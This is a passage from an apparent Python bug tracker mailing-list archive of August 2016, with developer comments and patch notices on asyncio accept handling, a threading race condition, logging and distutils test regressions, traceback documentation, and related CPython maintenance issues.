2016 02:22:18 +0000 Subject: [issue27906] Socket accept exhaustion during high TCP traffic In-Reply-To: <1472608644.33.0.983787454696.issue27906@psf.upfronthosting.co.za> Message-ID: <1472610138.88.0.788264592383.issue27906@psf.upfronthosting.co.za> Guido van Rossum added the comment: Thanks -- IIRC this was even brought up during asyncio's early implementation phase, but we didn't have enough experience to warrant the extra logic. It seems like now is the time to do this! I hope you won't need it for 3.4, because that version is out of support. However I would like to have this upstream in https://github.com/python/asyncio. Is there any chance you can write a unit test for this functionality? Or is the only way to test it really to do a load test? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 23:07:31 2016 From: report at bugs.python.org (kevinconway) Date: Wed, 31 Aug 2016 03:07:31 +0000 Subject: [issue27906] Socket accept exhaustion during high TCP traffic In-Reply-To: <1472608644.33.0.983787454696.issue27906@psf.upfronthosting.co.za> Message-ID: <1472612851.68.0.196801920926.issue27906@psf.upfronthosting.co.za> kevinconway added the comment: I'll dig into the existing asyncio unit tests and see what I can come up with. I'm not sure, yet, exactly what I might test for. The variables involved with reproducing the error are mostly environmental. CPU speed of the host, amount of CPU bound work happening in handler coroutines, and the rate of new connections are the major contributors we've identified. I'm not sure how I might simulate those in a unit test. Would it be sufficient to add a test that ensures the _accept_connection calls .accept() on the listening socket 'backlog' number of times in event there are no OS errors? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 23:10:11 2016 From: report at bugs.python.org (Guido van Rossum) Date: Wed, 31 Aug 2016 03:10:11 +0000 Subject: [issue27906] Socket accept exhaustion during high TCP traffic In-Reply-To: <1472612851.68.0.196801920926.issue27906@psf.upfronthosting.co.za> Message-ID: Guido van Rossum added the comment: Yeah, the tests are often full of mocks, and I trust that the test suite you wrote verifies that this fixes the problem. The unit tests are more to ensure that future changes to the code won't accidentally break the code you wrote (which is why we should really have test coverage, but that's another story). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 23:37:34 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Wed, 31 Aug 2016 03:37:34 +0000 Subject: [issue27891] Consistently group and sort imports within idlelib modules. In-Reply-To: <1472521619.5.0.761842088013.issue27891@psf.upfronthosting.co.za> Message-ID: <1472614654.34.0.0109715597552.issue27891@psf.upfronthosting.co.za> Terry J. Reedy added the comment: Patch 2 has minor revisions to hyperparser, mainmenu, pyshell, and adds material to README.txt. ---------- Added file: http://bugs.python.org/file44288/import-27891-2.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 00:06:34 2016 From: report at bugs.python.org (Nick Coghlan) Date: Wed, 31 Aug 2016 04:06:34 +0000 Subject: [issue27867] various issues due to misuse of PySlice_GetIndicesEx In-Reply-To: <1472226685.15.0.242668202848.issue27867@psf.upfronthosting.co.za> Message-ID: <1472616394.87.0.838720636352.issue27867@psf.upfronthosting.co.za> Nick Coghlan added the comment: Nice! The one thing I would suggest double checking with this change is whether or not we have test cases covering ranges with lengths that don't fit into ssize_t. It's been years since I looked at that code, so I don't remember exactly how it currently works, but it does work (except for __len__, due to the signature of the C level length slot): >>> bigrange = range(int(-10e30), int(10e30)) >>> len(bigrange) Traceback (most recent call last): File "", line 1, in OverflowError: Python int too large to convert to C ssize_t >>> bigrange[:] range(-9999999999999999635896294965248, 9999999999999999635896294965248) >>> bigrange[0:-1] range(-9999999999999999635896294965248, 9999999999999999635896294965247) >>> bigrange[::2] range(-9999999999999999635896294965248, 9999999999999999635896294965248, 2) >>> bigrange[0:-1:2] range(-9999999999999999635896294965248, 9999999999999999635896294965247, 2) ---------- nosy: +ncoghlan _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 00:09:27 2016 From: report at bugs.python.org (kevinconway) Date: Wed, 31 Aug 2016 04:09:27 +0000 Subject: [issue27906] Socket accept exhaustion during high TCP traffic In-Reply-To: <1472608644.33.0.983787454696.issue27906@psf.upfronthosting.co.za> Message-ID: <1472616567.5.0.142662854771.issue27906@psf.upfronthosting.co.za> kevinconway added the comment: I've added a unit test to the patch that asserts sock.accept() is called the appropriate number of times. Worth a note, I had to adjust one of the existing tests to account for the new backlog argument. There is a default value for the argument to preserve backwards compat for any callers, but the mock used in the test was not tolerant of having an extra arg available. ---------- Added file: http://bugs.python.org/file44289/multi-accept-2.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 00:15:30 2016 From: report at bugs.python.org (Martin Panter) Date: Wed, 31 Aug 2016 04:15:30 +0000 Subject: [issue27895] Spelling fixes In-Reply-To: <1472579160.51.0.388214887835.issue27895@psf.upfronthosting.co.za> Message-ID: <1472616930.41.0.319518032138.issue27895@psf.upfronthosting.co.za> Martin Panter added the comment: Be careful with user-visible changes to the code, like the _encoded_EMTPY attribute (Issue 27630). I wouldn?t backport that. ---------- nosy: +martin.panter versions: +Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 00:17:28 2016 From: report at bugs.python.org (Martin Panter) Date: Wed, 31 Aug 2016 04:17:28 +0000 Subject: [issue27630] Generator._encoded_EMTPY misspelling in email package In-Reply-To: <1469581633.21.0.276257861067.issue27630@psf.upfronthosting.co.za> Message-ID: <1472617048.98.0.566347559496.issue27630@psf.upfronthosting.co.za> Martin Panter added the comment: FYI in 3.6 the spelling has been changed to _EMPTY (Issue 27895) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 00:28:35 2016 From: report at bugs.python.org (Steve Dower) Date: Wed, 31 Aug 2016 04:28:35 +0000 Subject: [issue1602] windows console doesn't print or input Unicode In-Reply-To: <1197453390.87.0.813702844893.issue1602@psf.upfronthosting.co.za> Message-ID: <1472617715.13.0.291575858185.issue1602@psf.upfronthosting.co.za> Steve Dower added the comment: New patch attached (1602_2.patch - hopefully the review will work this time too). I discovered while researching for the PEP that a decent amount of code expects to be able to write ASCII to sys.stdout.buffer (or sys.stdout.buffer.raw). As my first patch required utf-16-le at this point, it was going to cause havoc. Rather than break that compatibility, I decided that exposing utf-8 and doing the reencoding at the latest possible stage was better. This is also more consistent with how other encoding issues are likely to be resolved, and shouldn't be any less performant, given that previously we were decoding to utf-16 anyway. The downsides of this is that read(n) now can only read up to n/4 characters, and write(n) has a much more complicated time dealing with large buffers (as we need to cap the number of utf-16-le bytes but return the number of utf-8 bytes - it's not a direct relationship, so there's more work and a little bit of guessing in some cases). On the upside, the readline handling is simpler as utf-8 is compatible with the existing interface and now sys.stdin.encoding is accurate. I've rolled that fix into this patch (just the myreadline.c change) as they really ought to go in together. ---------- Added file: http://bugs.python.org/file44290/1602_2.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 00:51:12 2016 From: report at bugs.python.org (Roundup Robot) Date: Wed, 31 Aug 2016 04:51:12 +0000 Subject: [issue27891] Consistently group and sort imports within idlelib modules. In-Reply-To: <1472521619.5.0.761842088013.issue27891@psf.upfronthosting.co.za> Message-ID: <20160831045110.22234.35072.1A3F60F3@psf.io> Roundup Robot added the comment: New changeset 96ac4cd43a20 by Terry Jan Reedy in branch 'default': Issue #27891: Consistently group and sort imports within idlelib modules. https://hg.python.org/cpython/rev/96ac4cd43a20 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 00:52:07 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Wed, 31 Aug 2016 04:52:07 +0000 Subject: [issue27891] Consistently group and sort imports within idlelib modules. In-Reply-To: <1472521619.5.0.761842088013.issue27891@psf.upfronthosting.co.za> Message-ID: <1472619127.59.0.0958646273879.issue27891@psf.upfronthosting.co.za> Changes by Terry J. Reedy : ---------- resolution: -> fixed stage: needs patch -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 02:13:05 2016 From: report at bugs.python.org (SilentGhost) Date: Wed, 31 Aug 2016 06:13:05 +0000 Subject: [issue27895] Spelling fixes In-Reply-To: <1472579160.51.0.388214887835.issue27895@psf.upfronthosting.co.za> Message-ID: <1472623985.45.0.665926330116.issue27895@psf.upfronthosting.co.za> Changes by SilentGhost : ---------- stage: -> resolved _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 02:16:57 2016 From: report at bugs.python.org (SilentGhost) Date: Wed, 31 Aug 2016 06:16:57 +0000 Subject: [issue27904] Let logging format more messages on demand In-Reply-To: <1472592923.29.0.193316525032.issue27904@psf.upfronthosting.co.za> Message-ID: <1472624217.27.0.795756822496.issue27904@psf.upfronthosting.co.za> Changes by SilentGhost : ---------- nosy: +vinay.sajip stage: -> patch review versions: +Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 02:41:26 2016 From: report at bugs.python.org (=?utf-8?q?Ville_Skytt=C3=A4?=) Date: Wed, 31 Aug 2016 06:41:26 +0000 Subject: [issue27907] Misspelled variable in test_asyncio/test_events Message-ID: <1472625686.63.0.686999719276.issue27907@psf.upfronthosting.co.za> New submission from Ville Skytt?: Simply renaming the variable breaks the test which is why it was left out of #27895, this one keeps the test working. ---------- files: reponse.patch keywords: patch messages: 274001 nosy: scop priority: normal severity: normal status: open title: Misspelled variable in test_asyncio/test_events type: enhancement Added file: http://bugs.python.org/file44291/reponse.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 02:43:04 2016 From: report at bugs.python.org (=?utf-8?q?Ville_Skytt=C3=A4?=) Date: Wed, 31 Aug 2016 06:43:04 +0000 Subject: [issue27895] Spelling fixes In-Reply-To: <1472579160.51.0.388214887835.issue27895@psf.upfronthosting.co.za> Message-ID: <1472625784.09.0.985840895103.issue27895@psf.upfronthosting.co.za> Ville Skytt? added the comment: @rhettinger, the test_asyncio thing I mentioned is now taken care of in #27907. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 03:12:42 2016 From: report at bugs.python.org (Roundup Robot) Date: Wed, 31 Aug 2016 07:12:42 +0000 Subject: [issue23591] enum: Add Flags and IntFlags In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za> Message-ID: <20160831071233.13094.40311.3AC90915@psf.io> Roundup Robot added the comment: New changeset 39661e2ff030 by Ethan Furman in branch 'default': issue23591: add Flags, IntFlags, and tests https://hg.python.org/cpython/rev/39661e2ff030 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 03:22:50 2016 From: report at bugs.python.org (Roundup Robot) Date: Wed, 31 Aug 2016 07:22:50 +0000 Subject: [issue27904] Let logging format more messages on demand In-Reply-To: <1472592923.29.0.193316525032.issue27904@psf.upfronthosting.co.za> Message-ID: <20160831072239.52508.31699.4D3DFBB1@psf.io> Roundup Robot added the comment: New changeset 1340e298aa7e by Vinay Sajip in branch 'default': Closes #27904: Improved logging statements to defer formatting until needed. https://hg.python.org/cpython/rev/1340e298aa7e ---------- nosy: +python-dev resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 03:27:39 2016 From: report at bugs.python.org (Dima Tisnek) Date: Wed, 31 Aug 2016 07:27:39 +0000 Subject: [issue27908] del _limbo[self] KeyError Message-ID: <1472628459.0.0.615351058754.issue27908@psf.upfronthosting.co.za> New submission from Dima Tisnek: To reproduce: ``` import threading import time class U(threading.Thread): def run(self): time.sleep(1) if not x.ident: x.start() x = U() for u in [U() for i in range(10000)]: u.start() time.sleep(10) ``` Chance to reproduce ~20% in my setup. This script has a data race (check then act on x.ident). I expected it to occasionally hit `RuntimeError: threads can only be started once` Instead, I get: ``` Unhandled exception in thread started by > Traceback (most recent call last): File "/usr/lib64/python3.5/threading.py", line 882, in _bootstrap self._bootstrap_inner() File "/usr/lib64/python3.5/threading.py", line 906, in _bootstrap_inner del _limbo[self] KeyError: ``` ---------- components: Library (Lib) messages: 274005 nosy: Dima.Tisnek priority: normal severity: normal status: open title: del _limbo[self] KeyError versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 04:05:15 2016 From: report at bugs.python.org (SilentGhost) Date: Wed, 31 Aug 2016 08:05:15 +0000 Subject: [issue27908] del _limbo[self] KeyError In-Reply-To: <1472628459.0.0.615351058754.issue27908@psf.upfronthosting.co.za> Message-ID: <1472630715.45.0.135637687345.issue27908@psf.upfronthosting.co.za> Changes by SilentGhost : ---------- components: +Extension Modules nosy: +brett.cannon type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 04:05:45 2016 From: report at bugs.python.org (SilentGhost) Date: Wed, 31 Aug 2016 08:05:45 +0000 Subject: [issue27907] Misspelled variable in test_asyncio/test_events In-Reply-To: <1472625686.63.0.686999719276.issue27907@psf.upfronthosting.co.za> Message-ID: <1472630745.38.0.230577857911.issue27907@psf.upfronthosting.co.za> Changes by SilentGhost : ---------- components: +Library (Lib) nosy: +giampaolo.rodola, gvanrossum, haypo, yselivanov stage: -> patch review versions: +Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 04:26:48 2016 From: report at bugs.python.org (SilentGhost) Date: Wed, 31 Aug 2016 08:26:48 +0000 Subject: [issue27900] ctypes fails to find ncurses via ncursesw on Arch Linux In-Reply-To: <1472580992.67.0.653516742445.issue27900@psf.upfronthosting.co.za> Message-ID: <1472632008.48.0.087355853077.issue27900@psf.upfronthosting.co.za> Changes by SilentGhost : ---------- nosy: +amaury.forgeotdarc, belopolsky, meador.inge _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 04:54:09 2016 From: report at bugs.python.org (Antoine Pitrou) Date: Wed, 31 Aug 2016 08:54:09 +0000 Subject: [issue27908] del _limbo[self] KeyError In-Reply-To: <1472628459.0.0.615351058754.issue27908@psf.upfronthosting.co.za> Message-ID: <1472633649.06.0.751226469903.issue27908@psf.upfronthosting.co.za> Changes by Antoine Pitrou : ---------- nosy: +tim.peters _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 05:02:52 2016 From: report at bugs.python.org (Xiang Zhang) Date: Wed, 31 Aug 2016 09:02:52 +0000 Subject: [issue27904] Let logging format more messages on demand In-Reply-To: <1472592923.29.0.193316525032.issue27904@psf.upfronthosting.co.za> Message-ID: <1472634172.3.0.232595148839.issue27904@psf.upfronthosting.co.za> Xiang Zhang added the comment: Vinay, this patch introduces regressions. You can either revert this part: --- a/Lib/distutils/cmd.py +++ b/Lib/distutils/cmd.py @@ -329,8 +329,7 @@ class Command: # -- External world manipulation ----------------------------------- def warn(self, msg): - log.warn("warning: %s: %s\n" % - (self.get_command_name(), msg)) + log.warn("warning: %s: %s\n", self.get_command_name(), msg) def execute(self, func, args, msg=None, level=1): util.execute(func, args, msg, dry_run=self.dry_run) or change the test suites to: diff -r 1340e298aa7e Lib/distutils/tests/test_build_py.py --- a/Lib/distutils/tests/test_build_py.py Wed Aug 31 08:22:29 2016 +0100 +++ b/Lib/distutils/tests/test_build_py.py Wed Aug 31 16:59:27 2016 +0800 @@ -168,7 +168,8 @@ finally: sys.dont_write_bytecode = old_dont_write_bytecode - self.assertIn('byte-compiling is disabled', self.logs[0][1]) + self.assertIn('byte-compiling is disabled', + self.logs[0][1] % self.logs[0][2]) def test_suite(): diff -r 1340e298aa7e Lib/distutils/tests/test_install_lib.py --- a/Lib/distutils/tests/test_install_lib.py Wed Aug 31 08:22:29 2016 +0100 +++ b/Lib/distutils/tests/test_install_lib.py Wed Aug 31 16:59:27 2016 +0800 @@ -104,7 +104,8 @@ finally: sys.dont_write_bytecode = old_dont_write_bytecode - self.assertIn('byte-compiling is disabled', self.logs[0][1]) + self.assertIn('byte-compiling is disabled', + self.logs[0][1] % self.logs[0][2]) def test_suite(): ---------- nosy: +xiang.zhang _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 05:26:29 2016 From: report at bugs.python.org (Xiang Zhang) Date: Wed, 31 Aug 2016 09:26:29 +0000 Subject: [issue27909] Py_INCREF(NULL) in _imp.create_builtin Message-ID: <1472635589.59.0.774890497222.issue27909@psf.upfronthosting.co.za> New submission from Xiang Zhang: Just as the patch shows, when PyErr_Occurred() returns true mod is NULL, then Py_INCREF(mod) will crash. Replace it with Py_XINCREF. ---------- components: Interpreter Core files: create_builtin.patch keywords: patch messages: 274007 nosy: brett.cannon, eric.snow, ncoghlan, xiang.zhang priority: normal severity: normal status: open title: Py_INCREF(NULL) in _imp.create_builtin type: crash versions: Python 3.5, Python 3.6 Added file: http://bugs.python.org/file44292/create_builtin.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 05:32:11 2016 From: report at bugs.python.org (SilentGhost) Date: Wed, 31 Aug 2016 09:32:11 +0000 Subject: [issue27904] Let logging format more messages on demand In-Reply-To: <1472592923.29.0.193316525032.issue27904@psf.upfronthosting.co.za> Message-ID: <1472635931.89.0.118280314642.issue27904@psf.upfronthosting.co.za> Changes by SilentGhost : ---------- resolution: fixed -> stage: resolved -> patch review status: closed -> open type: performance -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 05:59:52 2016 From: report at bugs.python.org (Dima Tisnek) Date: Wed, 31 Aug 2016 09:59:52 +0000 Subject: [issue24139] Use sqlite3 extended error codes In-Reply-To: <1430990375.51.0.367829317248.issue24139@psf.upfronthosting.co.za> Message-ID: <1472637592.74.0.218825085246.issue24139@psf.upfronthosting.co.za> Dima Tisnek added the comment: Aviv the patch makes in itself. Are the changes in the other ticket needed to implement new tests? Or is it possible to include tests here? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 06:02:11 2016 From: report at bugs.python.org (Dima Tisnek) Date: Wed, 31 Aug 2016 10:02:11 +0000 Subject: [issue24139] Use sqlite3 extended error codes In-Reply-To: <1430990375.51.0.367829317248.issue24139@psf.upfronthosting.co.za> Message-ID: <1472637731.6.0.503436515656.issue24139@psf.upfronthosting.co.za> Dima Tisnek added the comment: I meant "the patch makes sense in itself". ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 06:04:49 2016 From: report at bugs.python.org (Tomas Orsava) Date: Wed, 31 Aug 2016 10:04:49 +0000 Subject: =?utf-8?q?=5Bissue27910=5D_Doc/library/traceback=2Erst_=E2=80=94_referenc?= =?utf-8?q?es_to_tuples_should_be_replaced_with_new_FrameSummary_object?= Message-ID: <1472637889.08.0.384463773035.issue27910@psf.upfronthosting.co.za> New submission from Tomas Orsava: In the documentation for the `traceback` module, the definitions of functions `extract_tb` [0], `format_list` [1] and classmethod `from_list` [2] mention the old style (4-)tuples that these functions used to return or accept. Since Python 3.5, however, they return or accept a FrameSummary object instead of the 4-tuple, or a StackSummary object instead of a list of 4-tuples. I'm including a patch that fixes these definitions to make them reflect the new reality. [0] https://docs.python.org/3.6/library/traceback.html#traceback.extract_tb [1] https://docs.python.org/3.6/library/traceback.html#traceback.format_list [2] https://docs.python.org/3.6/library/traceback.html#traceback.StackSummary.from_list ---------- assignee: docs at python components: Documentation files: traceback-doc.patch keywords: patch messages: 274010 nosy: docs at python, torsava priority: normal severity: normal status: open title: Doc/library/traceback.rst ? references to tuples should be replaced with new FrameSummary object versions: Python 3.5, Python 3.6 Added file: http://bugs.python.org/file44293/traceback-doc.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 06:08:25 2016 From: report at bugs.python.org (SilentGhost) Date: Wed, 31 Aug 2016 10:08:25 +0000 Subject: =?utf-8?q?=5Bissue27910=5D_Doc/library/traceback=2Erst_=E2=80=94_referenc?= =?utf-8?q?es_to_tuples_should_be_replaced_with_new_FrameSummary_object?= In-Reply-To: <1472637889.08.0.384463773035.issue27910@psf.upfronthosting.co.za> Message-ID: <1472638105.1.0.608207292349.issue27910@psf.upfronthosting.co.za> Changes by SilentGhost : ---------- stage: -> patch review type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 06:09:00 2016 From: report at bugs.python.org (SilentGhost) Date: Wed, 31 Aug 2016 10:09:00 +0000 Subject: =?utf-8?q?=5Bissue27910=5D_Doc/library/traceback=2Erst_=E2=80=94_referenc?= =?utf-8?q?es_to_tuples_should_be_replaced_with_new_FrameSummary_object?= In-Reply-To: <1472637889.08.0.384463773035.issue27910@psf.upfronthosting.co.za> Message-ID: <1472638140.66.0.588532242627.issue27910@psf.upfronthosting.co.za> SilentGhost added the comment: LGTM. ---------- nosy: +SilentGhost stage: patch review -> commit review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 06:23:13 2016 From: report at bugs.python.org (Berker Peksag) Date: Wed, 31 Aug 2016 10:23:13 +0000 Subject: =?utf-8?q?=5Bissue27910=5D_Doc/library/traceback=2Erst_=E2=80=94_referenc?= =?utf-8?q?es_to_tuples_should_be_replaced_with_new_FrameSummary_object?= In-Reply-To: <1472637889.08.0.384463773035.issue27910@psf.upfronthosting.co.za> Message-ID: <1472638993.51.0.617675885388.issue27910@psf.upfronthosting.co.za> Berker Peksag added the comment: I think we need to decide whether this is a documentation bug or a regression in traceback module. See also issue 25573 for a similar report. ---------- nosy: +berker.peksag, r.david.murray, rbcollins stage: commit review -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 06:38:21 2016 From: report at bugs.python.org (R. David Murray) Date: Wed, 31 Aug 2016 10:38:21 +0000 Subject: [issue22233] http.client splits headers on non-\r\n characters In-Reply-To: <1408528953.84.0.772180232607.issue22233@psf.upfronthosting.co.za> Message-ID: <1472639901.31.0.950861612791.issue22233@psf.upfronthosting.co.za> R. David Murray added the comment: I'm hoping to take a look at all of these at the core sprint next week. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 06:41:57 2016 From: report at bugs.python.org (R. David Murray) Date: Wed, 31 Aug 2016 10:41:57 +0000 Subject: [issue27895] Spelling fixes In-Reply-To: <1472579160.51.0.388214887835.issue27895@psf.upfronthosting.co.za> Message-ID: <1472640117.12.0.0899721264592.issue27895@psf.upfronthosting.co.za> R. David Murray added the comment: Good point, Martin, but I'd actually be OK with backporting that particular one. It is relatively new, and I doubt anyone is using it. Sorry for dropping the ball on the other issue. ---------- nosy: +r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 07:22:37 2016 From: report at bugs.python.org (Xiang Zhang) Date: Wed, 31 Aug 2016 11:22:37 +0000 Subject: [issue27911] Unnecessary error checks in exec_builtin_or_dynamic Message-ID: <1472642557.88.0.0235891214723.issue27911@psf.upfronthosting.co.za> New submission from Xiang Zhang: The two PyErr_Occurred check in exec_builtin_or_dynamic are unnecessary. The PyModule_Check at the beginning of exec_builtin_or_dynamic has eliminated the possibility for PyModule_GetDef/State to fail. ---------- components: Interpreter Core files: exec_built_or_dynamic.patch keywords: patch messages: 274015 nosy: brett.cannon, eric.snow, ncoghlan, xiang.zhang priority: normal severity: normal status: open title: Unnecessary error checks in exec_builtin_or_dynamic type: enhancement versions: Python 3.5, Python 3.6 Added file: http://bugs.python.org/file44294/exec_built_or_dynamic.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 07:23:30 2016 From: report at bugs.python.org (Tomas Orsava) Date: Wed, 31 Aug 2016 11:23:30 +0000 Subject: =?utf-8?q?=5Bissue27910=5D_Doc/library/traceback=2Erst_=E2=80=94_referenc?= =?utf-8?q?es_to_tuples_should_be_replaced_with_new_FrameSummary_object?= In-Reply-To: <1472637889.08.0.384463773035.issue27910@psf.upfronthosting.co.za> Message-ID: <1472642610.26.0.875041103433.issue27910@psf.upfronthosting.co.za> Tomas Orsava added the comment: Hi Berker: It's a bit complicated?this specific issue I opened isn't a regression, because it's exactly the change that was intended: Use FrameSummary instead of a 4-tuple to pass the frame data. If you see the last comment for the issue 25573 you linked to, that issue has already been resolved by the docs being updated to reflect the new way of passing data. However, that is not to say there can't be regressions connected to this, but they have to do with the fact that FrameSummary implements only a subset of methods available of tuples. E.g. that FrameSummary does not implement __len__ like tuple does, see issue 26502. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 08:19:19 2016 From: report at bugs.python.org (koobs) Date: Wed, 31 Aug 2016 12:19:19 +0000 Subject: [issue27904] Let logging format more messages on demand In-Reply-To: <1472592923.29.0.193316525032.issue27904@psf.upfronthosting.co.za> Message-ID: <1472645959.63.0.784552303739.issue27904@psf.upfronthosting.co.za> Changes by koobs : ---------- nosy: +koobs _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 09:27:34 2016 From: report at bugs.python.org (Jason R. Coombs) Date: Wed, 31 Aug 2016 13:27:34 +0000 Subject: [issue27912] Distutils should use warehouse for index Message-ID: <1472650054.23.0.773027270179.issue27912@psf.upfronthosting.co.za> New submission from Jason R. Coombs: As pypi.python.org is quickly becoming deprecated and pypi.org is the new best recommendation for packages, I recommend that for Python 3.6, the default index should be pypi.org. ---------- components: Distutils messages: 274017 nosy: dstufft, eric.araujo, jason.coombs priority: normal severity: normal status: open title: Distutils should use warehouse for index versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 09:33:49 2016 From: report at bugs.python.org (Jason R. Coombs) Date: Wed, 31 Aug 2016 13:33:49 +0000 Subject: [issue27912] Distutils should use warehouse for index In-Reply-To: <1472650054.23.0.773027270179.issue27912@psf.upfronthosting.co.za> Message-ID: <1472650429.92.0.881202282825.issue27912@psf.upfronthosting.co.za> Jason R. Coombs added the comment: Oh, I see this was done in 539b4e7a655 (Python 2.7) and 54bfff5503d3 (Python 3.3+). ---------- resolution: -> fixed status: open -> closed versions: +Python 2.7, Python 3.3, Python 3.4, Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 09:34:33 2016 From: report at bugs.python.org (Jason R. Coombs) Date: Wed, 31 Aug 2016 13:34:33 +0000 Subject: [issue27912] Distutils should use warehouse for index In-Reply-To: <1472650054.23.0.773027270179.issue27912@psf.upfronthosting.co.za> Message-ID: <1472650473.52.0.462392876194.issue27912@psf.upfronthosting.co.za> Jason R. Coombs added the comment: 539b4e7a655e ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 09:46:26 2016 From: report at bugs.python.org (Jason R. Coombs) Date: Wed, 31 Aug 2016 13:46:26 +0000 Subject: [issue27912] Distutils should use warehouse for index In-Reply-To: <1472650054.23.0.773027270179.issue27912@psf.upfronthosting.co.za> Message-ID: <1472651186.73.0.0998905017434.issue27912@psf.upfronthosting.co.za> Jason R. Coombs added the comment: I'm afraid this (slightly) backward-incompatible change may come as something of a surprise. The release notes should probably indicate the user actions that this change may require: - upload_docs (setuptools) will no longer work unless the old repository (https://pypi.python.org) is indicated in setup.cfg or .pypirc or on the command line. - Any passwords saved based on the repository will need to be updated (such as in the keyring). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 10:03:18 2016 From: report at bugs.python.org (Christian Heimes) Date: Wed, 31 Aug 2016 14:03:18 +0000 Subject: [issue27744] Add AF_ALG (Linux Kernel crypto) to socket module In-Reply-To: <1470997290.77.0.995104201782.issue27744@psf.upfronthosting.co.za> Message-ID: <1472652198.44.0.521542482536.issue27744@psf.upfronthosting.co.za> Changes by Christian Heimes : Added file: http://bugs.python.org/file44295/AF_ALG-kernel-crypto-support-for-socket-module-4.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 10:03:41 2016 From: report at bugs.python.org (Christian Heimes) Date: Wed, 31 Aug 2016 14:03:41 +0000 Subject: [issue26470] Make OpenSSL module compatible with OpenSSL 1.1.0 In-Reply-To: <1456920893.87.0.933592382559.issue26470@psf.upfronthosting.co.za> Message-ID: <1472652221.59.0.844261799187.issue26470@psf.upfronthosting.co.za> Changes by Christian Heimes : Added file: http://bugs.python.org/file44296/Port-Python-2.7-s-SSL-module-to-OpenSSL-1.1.0-4.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 10:03:55 2016 From: report at bugs.python.org (Christian Heimes) Date: Wed, 31 Aug 2016 14:03:55 +0000 Subject: [issue26470] Make OpenSSL module compatible with OpenSSL 1.1.0 In-Reply-To: <1456920893.87.0.933592382559.issue26470@psf.upfronthosting.co.za> Message-ID: <1472652235.95.0.18164120655.issue26470@psf.upfronthosting.co.za> Changes by Christian Heimes : Added file: http://bugs.python.org/file44297/Port-Python-s-SSL-module-to-OpenSSL-1.1.0-4.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 10:11:49 2016 From: report at bugs.python.org (=?utf-8?q?Ville_Skytt=C3=A4?=) Date: Wed, 31 Aug 2016 14:11:49 +0000 Subject: [issue27904] Let logging format more messages on demand In-Reply-To: <1472592923.29.0.193316525032.issue27904@psf.upfronthosting.co.za> Message-ID: <1472652709.5.0.266260004533.issue27904@psf.upfronthosting.co.za> Ville Skytt? added the comment: Here's a patch that fixes the tests. ---------- Added file: http://bugs.python.org/file44298/logging-regressions.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 10:31:25 2016 From: report at bugs.python.org (James Domingo) Date: Wed, 31 Aug 2016 14:31:25 +0000 Subject: [issue26513] platform.win32_ver() broken in 2.7.11 In-Reply-To: <1457473293.66.0.928061603359.issue26513@psf.upfronthosting.co.za> Message-ID: <1472653885.39.0.323142072139.issue26513@psf.upfronthosting.co.za> James Domingo added the comment: Per SilentGhost's request, reposting my message from issue 27890 here -- The platform.release() function in Python 3.5.1 returns the correct value on Windows 2008 Server R2: C:\Users\jdoe\Documents\Python>python-3.5.1-embed-amd64\python.exe Python 3.5.1 